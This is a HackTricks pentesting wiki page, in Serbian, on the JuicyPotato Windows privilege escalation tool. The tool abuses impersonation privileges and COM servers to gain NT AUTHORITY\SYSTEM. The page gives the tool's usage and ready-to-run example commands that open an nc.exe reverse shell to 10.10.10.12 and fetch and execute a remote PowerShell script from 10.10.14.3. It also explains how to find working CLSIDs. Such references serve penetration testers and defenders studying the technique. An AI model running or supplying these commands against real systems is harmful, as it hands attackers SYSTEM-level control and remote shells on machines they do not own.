JuicyPotato
Reading time: 6 minutes
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
[!WARNING] > JuicyPotato ne radi na Windows Server 2019 i Windows 10 verziji 1809 i novijim. Međutim, PrintSpoofer, RoguePotato, SharpEfsPotato mogu se koristiti za iskorišćavanje istih privilegija i dobijanje
NT AUTHORITY\SYSTEM
nivo pristupa. Proverite:
RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
Juicy Potato (zloupotreba zlatnih privilegija)
Slađana verzija RottenPotatoNG, sa malo soka, tj. još jedan alat za lokalnu eskalaciju privilegija, od Windows servisnih naloga do NT AUTHORITY\SYSTEM
Možete preuzeti juicypotato sa https://ci.appveyor.com/project/ohpe/juicy-potato/build/artifacts
Sažetak
RottenPotatoNG i njene varijante koriste lanac eskalacije privilegija zasnovan na BITS
servisu koji ima MiTM slušalac na 127.0.0.1:6666
i kada imate SeImpersonate
ili SeAssignPrimaryToken
privilegije. Tokom pregleda Windows verzije otkrili smo postavku gde je BITS
namerno onemogućen i port 6666
je zauzet.
Odlučili smo da oružamo RottenPotatoNG: Pozdravite Juicy Potato.
Za teoriju, pogledajte Rotten Potato - Eskalacija privilegija od servisnih naloga do SYSTEM i pratite lanac linkova i referenci.
Otkrili smo da, osim BITS
, postoji nekoliko COM servera koje možemo zloupotrebiti. Oni samo treba da:
- budu instancirani od strane trenutnog korisnika, obično "korisnika servisa" koji ima privilegije impersonacije
- implementiraju
IMarshal
interfejs - rade kao uzvišeni korisnik (SYSTEM, Administrator, …)
Nakon nekog testiranja dobili smo i testirali opširnu listu zanimljivih CLSID-ova na nekoliko verzija Windows-a.
Sočne informacije
JuicyPotato vam omogućava:
- Ciljani CLSID izaberite bilo koji CLSID koji želite. Ovde možete pronaći listu organizovanu po OS-u.
- COM slušalac port definišite COM slušalac port koji preferirate (umesto marširanog hardkodiranog 6666)
- COM slušalac IP adresa vežite server na bilo koju IP adresu
- Način kreiranja procesa u zavisnosti od privilegija impersoniranog korisnika možete izabrati:
CreateProcessWithToken
(potrebneSeImpersonate
)CreateProcessAsUser
(potrebneSeAssignPrimaryToken
)oba
- Proces za pokretanje pokrenite izvršni fajl ili skriptu ako eksploatacija uspe
- Argument procesa prilagodite argumente pokrenutog procesa
- RPC Server adresa za diskretniji pristup možete se autentifikovati na eksterni RPC server
- RPC Server port korisno ako želite da se autentifikujete na eksterni server i vatrozid blokira port
135
… - TEST mod pretežno za testiranje, tj. testiranje CLSID-ova. Kreira DCOM i štampa korisnika tokena. Pogledajte ovde za testiranje
Korišćenje
T:\>JuicyPotato.exe
JuicyPotato v0.1
Mandatory args:
-t createprocess call: <t> CreateProcessWithTokenW, <u> CreateProcessAsUser, <*> try both
-p <program>: program to launch
-l <port>: COM server listen port
Optional args:
-m <ip>: COM server listen address (default 127.0.0.1)
-a <argument>: command line argument to pass to program (default NULL)
-k <ip>: RPC server ip address (default 127.0.0.1)
-n <port>: RPC server listen port (default 135)
Final thoughts
Ako korisnik ima SeImpersonate
ili SeAssignPrimaryToken
privilegije, onda ste SYSTEM.
Skoro je nemoguće sprečiti zloupotrebu svih ovih COM servera. Možete razmisliti o modifikaciji dozvola ovih objekata putem DCOMCNFG
, ali srećno, ovo će biti izazovno.
Pravo rešenje je zaštititi osetljive naloge i aplikacije koje rade pod * SERVICE
nalozima. Zaustavljanje DCOM
bi sigurno inhibiralo ovu eksploataciju, ali bi moglo imati ozbiljan uticaj na osnovni OS.
From: http://ohpe.it/juicy-potato/
Examples
Napomena: Posetite ovu stranicu za listu CLSID-ova koje možete isprobati.
Get a nc.exe reverse shell
c:\Users\Public>JuicyPotato -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c c:\users\public\desktop\nc.exe -e cmd.exe 10.10.10.12 443" -t *
Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337
......
[+] authresult 0
{4991d34b-80a1-4291-83b6-3328366b9097};NT AUTHORITY\SYSTEM
[+] CreateProcessWithTokenW OK
c:\Users\Public>
Powershell rev
.\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t *
Pokrenite novi CMD (ako imate RDP pristup)
CLSID Problemi
Često, podrazumevani CLSID koji JuicyPotato koristi ne funkcioniše i eksploatacija ne uspeva. Obično je potrebno više pokušaja da se pronađe funkcionalni CLSID. Da biste dobili listu CLSID-ova koje treba isprobati za određeni operativni sistem, trebate posetiti ovu stranicu:
Proveravanje CLSID-ova
Prvo, biće vam potrebni neki izvršni fajlovi osim juicypotato.exe.
Preuzmite Join-Object.ps1 i učitajte ga u vašu PS sesiju, a zatim preuzmite i izvršite GetCLSID.ps1. Taj skript će kreirati listu mogućih CLSID-ova za testiranje.
Zatim preuzmite test_clsid.bat (promenite putanju do liste CLSID-ova i do juicypotato izvršnog fajla) i izvršite ga. Počeće da pokušava svaki CLSID, i kada se broj porta promeni, to će značiti da je CLSID uspeo.
Proverite funkcionalne CLSID-ove koristeći parametar -c
Reference
tip
Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.